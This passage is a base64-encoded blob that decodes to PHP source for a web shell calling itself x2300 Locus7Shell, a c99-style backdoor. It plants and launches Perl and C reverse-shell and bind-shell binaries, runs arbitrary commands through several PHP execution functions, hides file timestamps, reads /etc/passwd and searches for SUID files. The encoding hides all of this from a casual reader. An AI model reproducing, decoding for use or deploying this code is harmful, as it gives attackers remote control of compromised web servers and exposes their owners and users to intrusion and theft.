HRoaXMgcHJveHkuPC9icj48L2JyPjwvY2VudGVyPiI7Cn0gZWxzZSB7CiRfUE9TVFsncHJveHlob3N0bXNnJ109IjwvYnI+PC9icj48Y2VudGVyPjxmb250IGNvbG9yPXJlZCBzaXplPTM+PGI+RmFpbGVkITwvYj48L2ZvbnQ+PC9icj48L2JyPjxiPk5vdGU6PC9iPiBJZiBmb3Igc29tZSByZWFzb24gd2Ugd291bGQgbm90IGNyZWF0ZSBhbmQgZXh0cmFjdCB0aGUgbmVlZCBwcm94eSBmaWxlcyBpbiAnL3RtcCcgdGhpcyB3aWxsIG1ha2UgdGhpcyBmYWlsLjwvYnI+PC9icj48L2NlbnRlcj4iOwp9Cn0KCmlmICghZW1wdHkoJF9QT1NUWydiYWNrY29ubmVjdHBvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJzaGJkIikpCnsKJGlwID0gZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pOwokcG9yID0gJF9QT1NUWydiYWNrY29ubmVjdHBvcnQnXTsKaWYoaXNfd3JpdGFibGUoIi4iKSl7CmNmYigic2hiZCIsJGJhY2tkb29yKTsKZXgoImNobW9kIDc3NyBzaGJkIik7CiRjbWQgPSAiLi9zaGJkICRwb3IiOwpleGVjKCIkY21kID4gL2Rldi9udWxsICYiKTsKJHNjYW4gPSBteXNoZWxsZXhlYygicHMgYXV4Iik7CmlmKGVyZWdpKCIuL3NoYmQgJHBvciIsJHNjYW4pKXsgJGRhdGEgPSAoIlxuPC9icj48L2JyPlByb2Nlc3MgZm91bmQgcnVubmluZywgYmFja2Rvb3Igc2V0dXAgc3VjY2Vzc2Z1bGx5LiIpOyB9ZWxzZWlmKGVyZWdpKCIuL3NoYmQgJHBvciIsJHNjYW4pKXsgJGRhdGEgPSAoIlxuPC9icj5Qcm9jZXNzIG5vdCBmb3VuZCBydW5uaW5nLCBiYWNrZG9vciBub3Qgc2V0dXAgc3VjY2Vzc2Z1bGx5LiIpOyB9CiRfUE9TVFsnYmFja2Njb25ubXNnJ109IlRvIGNvbm5lY3QsIHVzZSBuZXRjYXQgYW5kIGdpdmUgaXQgdGhlIGNvbW1hbmQgPGI+J25jICRpcCAkcG9yJzwvYj4uJGRhdGEiOwp9ZWxzZXsKY2ZiKCIvdG1wL3NoYmQiLCRiYWNrZG9vcik7CmV4KCJjaG1vZCA3NzcgL3RtcC9zaGJkIik7CiRjbWQgPSAiLi90bXAvc2hiZCAkcG9yIjsKZXhlYygiJGNtZCA+IC9kZXYvbnVsbCAmIik7CiRzY2FuID0gbXlzaGVsbGV4ZWMoInBzIGF1eCIpOwppZihlcmVnaSgiLi9zaGJkICRwb3IiLCRzY2FuKSl7ICRkYXRhID0gKCJcbjwvYnI+PC9icj5Qcm9jZXNzIGZvdW5kIHJ1bm5pbmcsIGJhY2tkb29yIHNldHVwIHN1Y2Nlc3NmdWxseS4iKTsgfWVsc2VpZihlcmVnaSgiLi9zaGJkICRwb3IiLCRzY2FuKSl7ICRkYXRhID0gKCJcbjwvYnI+UHJvY2VzcyBub3QgZm91bmQgcnVubmluZywgYmFja2Rvb3Igbm90IHNldHVwIHN1Y2Nlc3NmdWxseS4iKTsgfQokX1BPU1RbJ2JhY2tjY29ubm1zZyddPSJUbyBjb25uZWN0LCB1c2UgbmV0Y2F0IGFuZCBnaXZlIGl0IHRoZSBjb21tYW5kIDxiPiduYyAkaXAgJHBvcic8L2I+LiRkYXRhIjsKfQp9CgppZiAoIWVtcHR5KCRfUE9TVFsnYmFja2Nvbm5lY3RpcCddKSAmJiAhZW1wdHkoJF9QT1NUWydiYWNrY29ubmVjdHBvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJQZXJsIikpCnsKaWYoaXNfd3JpdGFibGUoIi4iKSl7CmNmKCJiYWNrIiwkYmFja19jb25uZWN0KTsKJHAyPXdoaWNoKCJwZXJsIik7CiRibGFoID0gZXgoJHAyLiIgYmFjayAiLiRfUE9TVFsnYmFja2Nvbm5lY3RpcCddLiIgIi4kX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddLiIgJiIpOwokX1BPU1RbJ2JhY2tjY29ubm1zZyddPSJUcnlpbmcgdG8gY29ubmVjdCB0byA8Yj4iLiRfUE9TVFsnYmFja2Nvbm5lY3RpcCddLiI8L2I+IG9uIHBvcnQgPGI+Ii4kX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddLiI8L2I+LiI7CmlmIChmaWxlX2V4aXN0cygiYmFjayIpKSB7IHVubGluaygiYmFjayIpOyB9Cn1lbHNlewpjZigiL3RtcC9iYWNrIiwkYmFja19jb25uZWN0KTsKJHAyPXdoaWNoKCJwZXJsIik7CiRibGFoID0gZXgoJHAyLiIgL3RtcC9iYWNrICIuJF9QT1NUWydiYWNrY29ubmVjdGlwJ10uIiAiLiRfUE9TVFsnYmFja2Nvbm5lY3Rwb3J0J10uIiAmIik7CiRfUE9TVFsnYmFja2Njb25ubXNnJ109IlRyeWluZyB0byBjb25uZWN0IHRvIDxiPiIuJF9QT1NUWydiYWNrY29ubmVjdGlwJ10uIjwvYj4gb24gcG9ydCA8Yj4iLiRfUE9TVFsnYmFja2Nvbm5lY3Rwb3J0J10uIjwvYj4uIjsKaWYgKGZpbGVfZXhpc3RzKCIvdG1wL2JhY2siKSkgeyB1bmxpbmsoIi90bXAvYmFjayIpOyB9Cn0KfQoKaWYgKCFlbXB0eSgkX1BPU1RbJ2JhY2tjb25uZWN0aXAnXSkgJiYgIWVtcHR5KCRfUE9TVFsnYmFja2Nvbm5lY3Rwb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0iQyIpKQp7CmlmKGlzX3dyaXRhYmxlKCIuIikpewpjZigiYmFja2MiLCRiYWNrX2Nvbm5lY3RfYyk7CmV4KCJjaG1vZCA3NzcgYmFja2MiKTsKLy8kYmxhaCA9IGV4KCJnY2MgYmFjay5jIC1vIGJhY2tjIik7CiRibGFoID0gZXgoIi4vYmFja2MgIi4kX1BPU1RbJ2JhY2tjb25uZWN0aXAnXS4iICIuJF9QT1NUWydiYWNrY29ubmVjdHBvcnQnXS4iICYiKTsKJF9QT1NUWydiYWNrY2Nvbm5tc2cnXT0iVHJ5aW5nIHRvIGNvbm5lY3QgdG8gPGI+Ii4kX1BPU1RbJ2JhY2tjb25uZWN0aXAnXS4iPC9iPiBvbiBwb3J0IDxiPiIuJF9QT1NUWydiYWNrY29ubmVjdHBvcnQnXS4iPC9iPi4iOwovL2lmIChmaWxlX2V4aXN0cygiYmFjay5jIikpIHsgdW5saW5rKCJiYWNrLmMiKTsgfQppZiAoZmlsZV9leGlzdHMoImJhY2tjIikpIHsgdW5saW5rKCJiYWNrYyIpOyB9Cn1lbHNlewpleCgiY2htb2QgNzc3IC90bXAvYmFja2MiKTsKY2YoIi90bXAvYmFja2MiLCRiYWNrX2Nvbm5lY3RfYyk7Ci8vJGJsYWggPSBleCgiZ2NjIC1vIC90bXAvYmFja2MgL3RtcC9iYWNrLmMiKTsKJGJsYWggPSBleCgiL3RtcC9iYWNrYyAiLiRfUE9TVFsnYmFja2Nvbm5lY3RpcCddLiIgIi4kX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddLiIgJiIpOwokX1BPU1RbJ2JhY2tjY29ubm1zZyddPSJUcnlpbmcgdG8gY29ubmVjdCB0byA8Yj4iLiRfUE9TVFsnYmFja2Nvbm5lY3RpcCddLiI8L2I+IG9uIHBvcnQgPGI+Ii4kX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddLiI8L2I+LiI7Ci8vaWYgKGZpbGVfZXhpc3RzKCJiYWNrLmMiKSkgeyB1bmxpbmsoImJhY2suYyIpOyB9CmlmIChmaWxlX2V4aXN0cygiL3RtcC9iYWNrYyIpKSB7IHVubGluaygiL3RtcC9iYWNrYyIpOyB9IH0KfQoKZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KQp7CiR3X2ZpbGU9QGZvcGVuKCRmbmFtZSwidyIpIG9yIGVycigpOwppZigkd19maWxlKQp7CkBmcHV0cygkd19maWxlLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7CkBmY2xvc2UoJHdfZmlsZSk7Cn0KfQoKZnVuY3Rpb24gY2ZiKCRmbmFtZSwkdGV4dCkKewokd19maWxlPUBmb3BlbigkZm5hbWUsInciKSBvciBiYmVycigpOwppZigkd19maWxlKQp7CkBmcHV0cygkd19maWxlLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7CkBmY2xvc2UoJHdfZmlsZSk7Cn0KfQoKZnVuY3Rpb24gZXJyKCkKewokX1BPU1RbJ2JhY2tjY29ubm1zZ2UnXT0iPC9icj48L2JyPjxiPjxmb250IGNvbG9yPXJlZCBzaXplPTM+RXJyb3I6PC9mb250PiBDYW4ndCBjb25uZWN0ITwvYj4iOwp9CgpmdW5jdGlvbiBiYmVycigpCnsKJF9QT1NUWydiYWNrY2Nvbm5tc2dlJ109IjwvYnI+PC9icj48Yj48Zm9udCBjb2xvcj1yZWQgc2l6ZT0zPkVycm9yOjwvZm9udD4gQ2FuJ3QgYmFja2Rvb3IgaG9zdCE8L2I+IjsKfQoKZnVuY3Rpb24gd2hpY2goJHByKQp7CiRwYXRoID0gZXgoIndoaWNoICRwciIpOwppZighZW1wdHkoJHBhdGgpKSB7IHJldHVybiAkcGF0aDsgfSBlbHNlIHsgcmV0dXJuICRwcjsgfQp9CmZ1bmN0aW9uIGV4KCRjZmUpCnsKJHJlcyA9ICcnOwppZiAoIWVtcHR5KCRjZmUpKQp7CiAgaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpCiAgIHsKICAgIEBleGVjKCRjZmUsJHJlcyk7CiAgICAkcmVzID0gam9pbigiXG4iLCRyZXMpOwogICB9CiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKQogICB7CiAgICAkcmVzID0gQHNoZWxsX2V4ZWMoJGNmZSk7CiAgIH0KICBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkKICAgewogICAgQG9iX3N0YXJ0KCk7CiAgICBAc3lzdGVtKCRjZmUpOwogICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsKICAgIEBvYl9lbmRfY2xlYW4oKTsKICAgfQogIGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpCiAgIHsKICAgIEBvYl9zdGFydCgpOwogICAgQHBhc3N0aHJ1KCRjZmUpOwogICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsKICAgIEBvYl9lbmRfY2xlYW4oKTsKICAgfQogIGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkKICB7CiAgICRyZXMgPSAiIjsKICAgd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsgfQogICBAcGNsb3NlKCRmKTsKICB9Cn0KcmV0dXJuICRyZXM7Cn0KLy9Fb1cKCgoKCgoKCgoKCgoKCgoKCi8vU3RhcnQgRW51bWVyYXRlIGZ1bmN0aW9uCi8vZnVuY3Rpb24gRU5VTUVSQVRFKCkKCiRob3N0bmFtZV94PXBocF91bmFtZShuKTsKJGl0c2hvbWUgPSBnZXRjd2QoKTsKJGl0c2hvbWUgPSBzdHJfcmVwbGFjZSgiL2hvbWUvIiwifiIsJGl0c2hvbWUpOwokaXRzaG9tZSA9IHN0cl9yZXBsYWNlKCIvcHVibGljX2h0bWwiLCIveDIzMDAucGhwIiwkaXRzaG9tZSk7CiRlbnVtZXJhdGUgPSAiaHR0cDovLyIuJGhvc3RuYW1lX3guIi8iLiRpdHNob21lLiIiOwoKLy9FbmQgRW51bWVyYXRlIGZ1bmN0aW9uCgovL1N0YXJ0aW5nIGNhbGxzCmluaV9zZXQoIm1heF9leGVjdXRpb25fdGltZSIsMCk7CmlmICghZnVuY3Rpb25fZXhpc3RzKCJnZXRtaWNyb3RpbWUiKSkge2Z1bmN0aW9uIGdldG1pY3JvdGltZSgpIHtsaXN0KCR1c2VjLCAkc2VjKSA9IGV4cGxvZGUoIiAiLCBtaWNyb3RpbWUoKSk7IHJldHVybiAoKGZsb2F0KSR1c2VjICsgKGZsb2F0KSRzZWMpO319CmVycm9yX3JlcG9ydGluZyg1KTsKJGFkaXJlcz0iIjsKQGlnbm9yZV91c2VyX2Fib3J0KFRSVUUpOwpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOwokd2luID0gc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJ3aW4iOwpkZWZpbmUoInN0YXJ0dGltZSIsZ2V0bWljcm90aW1lKCkpOwppZiAoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkge2lmICghZnVuY3Rpb25fZXhpc3RzKCJzdHJpcHMiKSkge2Z1bmN0aW9uIHN0cmlwcygmJGFyciwkaz0iIikge2lmIChpc19hcnJheSgkYXJyKSkge2ZvcmVhY2goJGFyciBhcyAkaz0+JHYpIHtpZiAoc3RydG91cHBlcigkaykgIT0gIkdMT0JBTFMiKSB7c3RyaXBzKCRhcnJbIiRrIl0pO319fSBlbHNlIHskYXJyID0gc3RyaXBzbGFzaGVzKCRhcnIpO319fSBzdHJpcHMoJEdMT0JBTFMpO30KJF9SRVFVRVNUID0gYXJyYXlfbWVyZ2UoJF9DT09LSUUsJF9HRVQsJF9QT1NUKTsKZm9yZWFjaCgkX1JFUVVFU1QgYXMgJGs9PiR2KSB7aWYgKCFpc3NldCgkJGspKSB7JCRrID0gJHY7fX0KCiRzaHZlciA9ICIxLjBhIGJldGEiOyAvL0N1cnJlbnQgdmVyc2lvbgovL0NPTkZJR1VSQVRJT04gQU5EIFNFVFRJTkdTCmlmICghZW1wdHkoJHVuc2V0X3N1cmwpKSB7c2V0Y29va2llKCJjOTlzaF9zdXJsIik7ICRzdXJsID0gIiI7fQplbHNlaWYgKCFlbXB0eSgkc2V0X3N1cmwpKSB7JHN1cmwgPSAkc2V0X3N1cmw7IHNldGNvb2tpZSgiYzk5c2hfc3VybCIsJHN1cmwpO30KZWxzZSB7JHN1cmwgPSAkX1JFUVVFU1RbImM5OXNoX3N1cmwiXTsgLy9TZXQgdGhpcyBjb29raWUgZm9yIG1hbnVhbCBTVVJMCn0KCiRzdXJsX2F1dG9maWxsX2luY2x1ZGUgPSBUUlVFOyAvL0lmIFRSVUUgdGhlbiBzZWFyY2ggdmFyaWFibGVzIHdpdGggZGVzY3JpcHRvcnMgKFVSTHMpIGFuZCBzYXZlIGl0IGluIFNVUkwuCgppZiAoJHN1cmxfYXV0b2ZpbGxfaW5jbHVkZSBhbmQgISRfUkVRVUVTVFsiYzk5c2hfc3VybCJdKSB7JGluY2x1ZGUgPSAiJiI7IGZvcmVhY2ggKGV4cGxvZGUoIiYiLGdldGVudigiUVVFUllfU1RSSU5HIikpIGFzICR2KSB7JHYgPSBleHBsb2RlKCI9Iiwkdik7ICRuYW1lID0gdXJsZGVjb2RlKCR2WzBdKTsgJHZhbHVlID0gdXJsZGVjb2RlKCR2WzFdKTsgZm9yZWFjaCAoYXJyYXkoImh0dHA6Ly8iLCJodHRwczovLyIsInNzbDovLyIsImZ0cDovLyIsIlxcXFwiKSBhcyAkbmVlZGxlKSB7aWYgKHN0cnBvcygkdmFsdWUsJG5lZWRsZSkgPT09IDApIHskaW5jbHVkZXN0ciAuPSB1cmxlbmNvZGUoJG5hbWUpLiI9Ii51cmxlbmNvZGUoJHZhbHVlKS4iJiI7fX19IGlmICgkX1JFUVVFU1RbInN1cmxfYXV0b2ZpbGxfaW5jbHVkZSJdKSB7JGluY2x1ZGVzdHIgLj0gInN1cmxfYXV0b2ZpbGxfaW5jbHVkZT0xJiI7fX0KaWYgKGVtcHR5KCRzdXJsKSkKewokc3VybCA9ICI/Ii4kaW5jbHVkZXN0cjsgLy9TZWxmIHVybAp9CiRzdXJsID0gaHRtbHNwZWNpYWxjaGFycygkc3VybCk7CgokdGltZWxpbWl0ID0gMDsgLy90aW1lIGxpbWl0IG9mIGV4ZWN1dGlvbiB0aGlzIHNjcmlwdCBvdmVyIHNlcnZlciBxdW90ZSAoc2Vjb25kcyksIDAgPSB1bmxpbWl0ZWQuCgovL0F1dGhlbnRpY2F0aW9uCiRsb2dpbiA9ICIiOyAvL2xvZ2luCi8vRE9OJ1QgRk9SR09UIEFCT1VUIFBBU1NXT1JEISEhCiRwYXNzID0gIiI7IC8vcGFzc3dvcmQKJG1kNV9wYXNzID0gIiI7IC8vbWQ1LWNyeXBlZCBwYXNzLiBpZiBudWxsLCBtZDUoJHBhc3MpCgokaG9zdF9hbGxvdyA9IGFycmF5KCIqIik7IC8vYXJyYXkgKCJ7bWFza30xIiwie21hc2t9MiIsLi4uKSwge21hc2t9ID0gSVAgb3IgSE9TVCBlLmcuIGFycmF5KCIxOTIuMTY4LjAuKiIsIjEyNy4wLjAuMSIpCiRsb2dpbl90eHQgPSAiUmVzdHJpY3RlZCBhcmVhIjsgLy9odHRwLWF1dGggbWVzc2FnZS4KJGFjY2Vzc2RlbmllZG1lc3MgPSAiPGEgaHJlZj1cImh0dHA6Ly9sb2N1czdzLmNvbVwiPngyMzAwIExvY3VzN1NoZWxsIHYuIi4kc2h2ZXIuIjwvYT46IGFjY2VzcyBkZW5pZWQiOwoKJGd6aXBlbmNvZGUgPSBUUlVFOyAvL0VuY29kZSB3aXRoIGd6aXA/CgokdXBkYXRlbm93ID0gRkFMU0U7IC8vSWYgVFJVRSwgdXBkYXRlIG5vdyAodGhpcyB2YXJpYWJsZSB3aWxsIGJlIEZBTFNFKQoKJGM5OXNoX3VwZGF0ZXVybCA9ICJodHRwOi8vbG9jdXM3cy5jb20vZmlsZXMvbHNoZWxsX3VwZGF0ZS8iOyAvL1VwZGF0ZSBzZXJ2ZXIKJGM5OXNoX3NvdXJjZXN1cmwgPSAiaHR0cDovL2xvY3VzN3MuY29tLyI7IC8vU291cmNlcy1zZXJ2ZXIKCiRmaWxlc3RlYWx0aCA9IFRSVUU7IC8vaWYgVFJVRSwgZG9uJ3QgY2hhbmdlIG1vZGlmeS0gYW5kIGFjY2Vzcy10aW1lCgokZG9uYXRlZF9odG1sID0gIjxjZW50ZXI+PGI+eDIzMDAgTG9jdXM3U2hlbGwgTW9kaWZpZWQgYnkgIyFwaHlzeF4gPC9iPjwvY2VudGVyPiI7Ci8qIElmIHlvdSBwdWJsaXNoIGZyZWUgc2hlbGwgYW5kIHlvdSB3aXNoCmFkZCBsaW5rIHRvIHlvdXIgc2l0ZSBvciBhbnkgb3RoZXIgaW5mb3JtYXRpb24sCnB1dCBoZXJlIHlvdXIgaHRtbC4gKi8KJGRvbmF0ZWRfYWN0ID0gYXJyYXkoIiIpOyAvL2FycmF5ICgiYWN0MSIsImFjdDIsIi4uLiksIGlmICRhY3QgaXMgaW4gdGhpcyBhcnJheSwgZGlzcGxheSAkZG9uYXRlZF9odG1sLgoKJGN1cmRpciA9ICIuLyI7IC8vc3RhcnQgZm9sZGVyCi8vJGN1cmRpciA9IGdldGVudigiRE9DVU1FTlRfUk9PVCIpOwokdG1wZGlyID0gIiI7IC8vRm9sZGVyIGZvciB0ZW1wb3J5IGZpbGVzLiBJZiBlbXB0eSwgYXV0by1maWxsICgvdG1wIG9yICVXSU5ESVIvdGVtcCkKJHRtcGRpcl9sb2cgPSAiLi8iOyAvL0RpcmVjdG9yeSBsb2dzIG9mIGxvbmcgcHJvY2Vzc2VzIChlLmcuIGJydXRlLCBzY2FuLi4uKQoKJGxvZ19lbWFpbCA9ICJ1c2VyQGhvc3QudGxkIjsgLy9EZWZhdWx0IGUtbWFpbCBmb3Igc2VuZGluZyBsb2dzCgokc29ydF9kZWZhdWx0ID0gIjBhIjsgLy9EZWZhdWx0IHNvcnRpbmcsIDAgLSBudW1iZXIgb2YgY29sb21uLCAiYSJzY2VuZGluZyBvciAiZCJlc2NlbmRpbmcKJHNvcnRfc2F2ZSA9IFRSVUU7IC8vSWYgVFJVRSB0aGVuIHNhdmUgc29ydGluZy1wb3NpdGlvbiB1c2luZyBjb29raWVzLgoKLy8gUmVnaXN0ZXJlZCBmaWxlLXR5cGVzLgovLyAgYXJyYXkoCi8vICAgInthY3Rpb24xfSI9PmFycmF5KCJleHQxIiwiZXh0MiIsImV4dDMiLC4uLiksCi8vICAgInthY3Rpb24yfSI9PmFycmF5KCJleHQ0IiwiZXh0NSIsImV4dDYiLC4uLiksCi8vICAgLi4uCi8vICApCiRmdHlwZXMgID0gYXJyYXkoCiJodG1sIj0+YXJyYXkoImh0bWwiLCJodG0iLCJzaHRtbCIpLAoidHh0Ij0+YXJyYXkoInR4dCIsImNvbmYiLCJiYXQiLCJzaCIsImpzIiwiYmFrIiwiZG9jIiwibG9nIiwic2ZjIiwiY2ZnIiwiaHRhY2Nlc3MiKSwKImV4ZSI9PmFycmF5KCJzaCIsImluc3RhbGwiLCJiYXQiLCJjbWQiKSwKImluaSI9PmFycmF5KCJpbmkiLCJpbmYiKSwKImNvZGUiPT5hcnJheSgicGhwIiwicGh0bWwiLCJwaHAzIiwicGhwNCIsImluYyIsInRjbCIsImgiLCJjIiwiY3BwIiwicHkiLCJjZ2kiLCJwbCIpLAoiaW1nIj0+YXJyYXkoImdpZiIsInBuZyIsImpwZWciLCJqZmlmIiwianBnIiwianBlIiwiYm1wIiwiaWNvIiwidGlmIiwidGlmZiIsImF2aSIsIm1wZyIsIm1wZWciKSwKInNkYiI9PmFycmF5KCJzZGIiKSwKInBocHNlc3MiPT5hcnJheSgic2VzcyIpLAoiZG93bmxvYWQiPT5hcnJheSgiZXhlIiwiY29tIiwicGlmIiwic3JjIiwibG5rIiwiemlwIiwicmFyIiwiZ3oiLCJ0YXIiKQopOwoKLy8gUmVnaXN0ZXJlZCBleGVjdXRhYmxlIGZpbGUtdHlwZXMuCi8vICBhcnJheSgKLy8gICBzdHJpbmcgImNvbW1hbmR7aX0iPT5hcnJheSgiZXh0MSIsImV4dDIiLCJleHQzIiwuLi4pLAovLyAgIC4uLgovLyAgKQovLyAgIHtjb21tYW5kfTogJWYlID0gZmlsZW5hbWUKJGRpemluID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkaXppbik7CmlmIChlbXB0eSgkZGl6aW4pKSB7JGRpemluID0gcmVhbHBhdGgoIi4iKTt9IGVsc2VpZihyZWFscGF0aCgkZGl6aW4pKSB7JGRpemluID0gcmVhbHBhdGgoJGRpemluKTt9CiRkaXppbiA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZGl6aW4pOwppZiAoc3Vic3RyKCRkaXppbiwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkaXppbiAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KJGRpemluID0gc3RyX3JlcGxhY2UoIlxcXFwiLCJcXCIsJGRpemluKTsKJGRpemluaXNwZCA9IGh0bWxzcGVjaWFsY2hhcnMoJGRpemluKTsKLypkaXppbiovCiRyZWFsID0gcmVhbHBhdGgoJGRpemluaXNwZCk7CiRwYXRoID0gYmFzZW5hbWUgKCRQSFBfU0VMRik7CmZ1bmN0aW9uIGRvc3lheWljZWsoJGxpbmssJGZpbGUpCnsKICAgJGZwID0gQGZvcGVuKCRsaW5rLCJyIik7CiAgIHdoaWxlKCFmZW9mKCRmcCkpCiAgIHsKICAgICAgICRjb250Lj0gZnJlYWQoJGZwLDEwMjQpOwogICB9CiAgIGZjbG9zZSgkZnApOwoKICAgJGZwMiA9IEBmb3BlbigkZmlsZSwidyIpOwogICBmd3JpdGUoJGZwMiwkY29udCk7CiAgIGZjbG9zZSgkZnAyKTsKfQoKCgoKJGV4ZWZ0eXBlcyAgPSBhcnJheSgKZ2V0ZW52KCJQSFBSQyIpLiIgLXEgJWYlIiA9PiBhcnJheSgicGhwIiwicGhwMyIsInBocDQiKSwKInBlcmwgJWYlIiA9PiBhcnJheSgicGwiLCJjZ2kiKQopOwoKLyogSGlnaGxpZ2h0ZWQgZmlsZXMuCiAgYXJyYXkoCiAgIGk9PmFycmF5KHtyZWdleHB9LHt0eXBlfSx7b3BlbnRhZ30se2Nsb3NldGFnfSx7YnJlYWt9KQogICAuLi4KICApCiAgc3RyaW5nIHtyZWdleHB9IC0gcmVndWxhciBleHAuCiAgaW50IHt0eXBlfToKMCAtIGZpbGVzIGFuZCBmb2xkZXJzIChhcyBkZWZhdWx0KSwKMSAtIGZpbGVzIG9ubHksIDIgLSBmb2xkZXJzIG9ubHkKICBzdHJpbmcge29wZW50YWd9IC0gb3BlbiBodG1sLXRhZywgZS5nLiAiPGI+IiAoZGVmYXVsdCkKICBzdHJpbmcge2Nsb3NldGFnfSAtIGNsb3NlIGh0bWwtdGFnLCBlLmcuICI8L2I+IiAoZGVmYXVsdCkKICBib29sIHticmVha30gLSBpZiBUUlVFIGFuZCBmb3VuZCBtYXRjaCB0aGVuIGJyZWFrCiovCiRyZWd4cF9oaWdobGlnaHQgID0gYXJyYXkoCiAgYXJyYXkoYmFzZW5hbWUoJF9TRVJWRVJbIlBIUF9TRUxGIl0pLDEsIjxmb250IGNvbG9yPVwieWVsbG93XCI+IiwiPC9mb250PiIpLCAvLyBleGFtcGxlCiAgYXJyYXkoImNvbmZpZy5waHAiLDEpIC8vIGV4YW1wbGUKKTsKCiRzYWZlbW9kZV9kaXNrZXR0ZXMgPSBhcnJheSgiYSIpOyAvLyBUaGlzIHZhcmlhYmxlIGZvciBkaXNhYmxpbmcgZGlza2V0dC1lcnJvcnMuCi8vIGFycmF5IChpPT57bGV0dGVyfSAuLi4pOyBzdHJpbmcge2xldHRlcn0gLSBsZXR0ZXIgb2YgYSBkcml2ZQovLyRzYWZlbW9kZV9kaXNrZXR0ZXMgPSByYW5nZSgiYSIsInoiKTsKJGhleGR1bXBfbGluZXMgPSA4Oy8vIGxpbmVzIGluIGhleCBwcmV2aWV3IGZpbGUKJGhleGR1bXBfcm93cyA9IDI0Oy8vIDE2LCAyNCBvciAzMiBieXRlcyBpbiBvbmUgbGluZQoKJG5peHB3ZHBlcnBhZ2UgPSAxMDA7IC8vIEdldCBmaXJzdCBOIGxpbmVzIGZyb20gL2V0Yy9wYXNzd2QKCiRiaW5kcG9ydF9wYXNzID0gImM5OSI7ICAvLyBkZWZhdWx0IHBhc3N3b3JkIGZvciBiaW5kaW5nCiRiaW5kcG9ydF9wb3J0ID0gIjMxMzczIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBiaW5kaW5nCiRiY19wb3J0ID0gIjMxMzczIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBiYWNrLWNvbm5lY3QKJGRhdGFwaXBlX2xvY2FscG9ydCA9ICI4MDgxIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBkYXRhcGlwZQokYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqCmFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFpEc05DaVIwWVhKblpYUTlKRUZTUjFaYk1GMDdEUW9rY0c5eWREMGtRVkpIVmxzeFhUc05DaVJwWVdSa2NqMXBibVYwWDJGMGIyNG9KSFIKaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVApzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JCmtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWkKS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sS0ZOVVJFbApPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsKCi8vIENvbW1hbmQtYWxpYXNlcwppZiAoISR3aW4pCnsKJGNtZGFsaWFzZXMgPSBhcnJheSgKICBhcnJheSgiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iLCAibHMgLWxhIiksCiAgYXJyYXkoImZpbmQgYWxsIHN1aWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIpLAogIGFycmF5KCJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIpLAogIGFycmF5KCJmaW5kIGFsbCBzZ2lkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1wZX